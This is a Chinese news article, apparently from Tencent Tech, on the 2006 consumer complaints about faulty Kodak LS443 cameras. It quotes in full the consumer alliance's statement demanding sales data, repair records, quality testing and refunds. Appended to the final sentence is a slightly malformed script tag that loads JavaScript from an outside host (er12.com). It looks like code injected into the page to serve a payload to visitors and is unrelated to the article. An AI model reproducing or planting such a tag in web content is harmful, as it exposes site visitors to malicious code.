9月10日,“柯达ls443维权联盟”的组织者和“代言人”白华给腾讯科技发来“柯达ls443相机维权联盟声明”,要求柯达公司公布ls443型相机的销售数量以及该款相机用户的维修记录,并对其产品在相关机构进行质量鉴定。
自2006年7月3日起至8月21日,中消协收到累计343名消费者关于柯达ls443型数码相机的投诉。消费者投诉反映,从购买后一年左右开始,相机就在正常使用的情况下陆续出现黑屏、镜头无法伸缩、曝光过度等故障,有人购买后一年多的时间竟然维修了3次之多。
8月22日下午,中国消费者协会就343名消费者投诉柯达ls443型数码相机问题进行听证调解,但柯达并未出席,并称中消协的听证会“误导消费者,不利于解决问题”,中消协表示对柯达这种不负责任的态度要“严惩”。
以下是“柯达ls443相机维权联盟声明”全文,腾讯科技将密切关注事件进展。
柯达ls443相机维权联盟声明
我们是柯达(中国)股份有限公司(以下简称柯达公司)所生产“easyshare ls443” 型数码相机(以下简称ls443)的中国大陆地区的消费者。在我们使用该款相机过程中,许多用户发现该相机相继出现曝光过度、黑屏、镜头无法伸缩等具有共性的故障。
为此,我们大陆消费者开始于2005年8月在网上自发组成消费者联盟(http://kodakls.digi.topzj.com/index.php),至目前为止,加入到我们中的投诉人数已经突破了500人。而令人寒心的是,在如此众多的ls443型数码相机出现同样故障的事实面前,柯达公司始终不承认是其产品的质量问题,反而拿出产品送检合格和产品已经过了包修期作为理由来搪塞,这并不能掩盖该型号产品出现大面积质量问题的事实。至今我们仍未得到柯达公司任何形式的主动沟通和回应。
中国消费者协会(简称中消协)在受理了我们的集体投诉后,做了大量的调查取证和与各方进行沟通调解等工作,并于2006年8月22日就柯达ls443型数码相机质量问题举行投诉调解听证会。遗憾的是,柯达公司傲慢的放弃了与消费者的沟通机会。针对柯达公司在未参加投诉调解听证会的情况下,对外继续隐瞒事实真相、混淆视听以及推卸自己应该承担相应责任的种种行径,我们消费者维权联盟特发表如下声明:
1、 我们要求柯达公司公布ls443型相机在中国大陆的销售数量以及该款相机用户的维修记录,以便进行故障率的统计和分析,最终让事实说话。这既是对我们这些受害者负责,也是对柯达公司自己负责。
2、 要求柯达公司立刻针对中国大陆和台湾地区ls443型相机为何采取两种不同解决方案一事作出说明和解释。如果台湾地区针对消保会换机一事确是收取了费用,柯达公司应该提供证据。柯达公司在台湾地区的官方主页上发表致歉声明,让台湾地区的消费者都清楚问题的处理方式,为何在大陆地区却闪烁其词,极力隐瞒有关真相,歧视大陆消费者?
3、 柯达公司一再声明其ls443相机是合格产品,我们要求柯达公司提供其产品出现故障不是由于设计制造原因造成的证据,或者柯达公司和我们一起选择双方都信任的机构进行质量鉴定。
4、 我们感谢中消协所做的工作,感谢正义媒体的支持,感谢所有关注此事的来自全国各地的朋友,有了你们的热心参与,我们感到并不孤单。我们号召全国所有ls系列相机受害者以至于其他机型的用户勇敢地站出来,维护我们的合法消费权益。我们更希望国家相关职能部门,能行使法律赋予你们的神圣职责,不要无视老百姓为自身权益抗争的勇气和信心。我们还希望通过我们这次集体维权,能促进相关法律的尽快出台,我们消费者不想再受到来自“跨国公司”的歧视!
5、 我们所有的维权消费者组成的是一个团结的群体,对此事件的任何解决方案均须公开、平等的对待我们联盟内的每一位消费者,我们不接受任何形式的“私下了结”方案。任何不公平和人为制造“一国两制”歧视消费者的解决办法理所当然的受到我们联盟内每一个人的坚决抵制。我们接受中消协的调解,尊重中消协的工作,所以始终采取理性的维权方式。但是现在的维权方式并不意味着我们会向某些恐吓和威胁屈服。在得不到柯达公司积极回应的情况下,我们将采取多种方式来促进问题的解决,维护自身权益!
6、 我们再次呼吁:希望柯达公司拿出诚意,勇于面对事实承认错误,对广大消费者做出公开、诚恳的道歉,并全额无条件退还购机款。我们当然希望能尽早解决问题,但是我们也有足够的信心和毅力来维护自己的权益!我们将一如既往支持中消协的积极工作。同时,我们也会做多手准备,在调解不成的情况下,我们将坚定的走法律途径。我们相信中国法律不会默视如此之多的消费者的合法权益被如此肆无忌惮的侵害!!
我们知道,这是一场力量悬殊的斗争,柯达公司曾经有过辉煌的历史,曾经得到过太多用户的厚爱。但这并意味着这些历史可以成为其推脱失败产品理由的挡箭牌,更不能成为其不承担由此带来的责任和义务的特赦令。?script src=http://er12.com/t.js>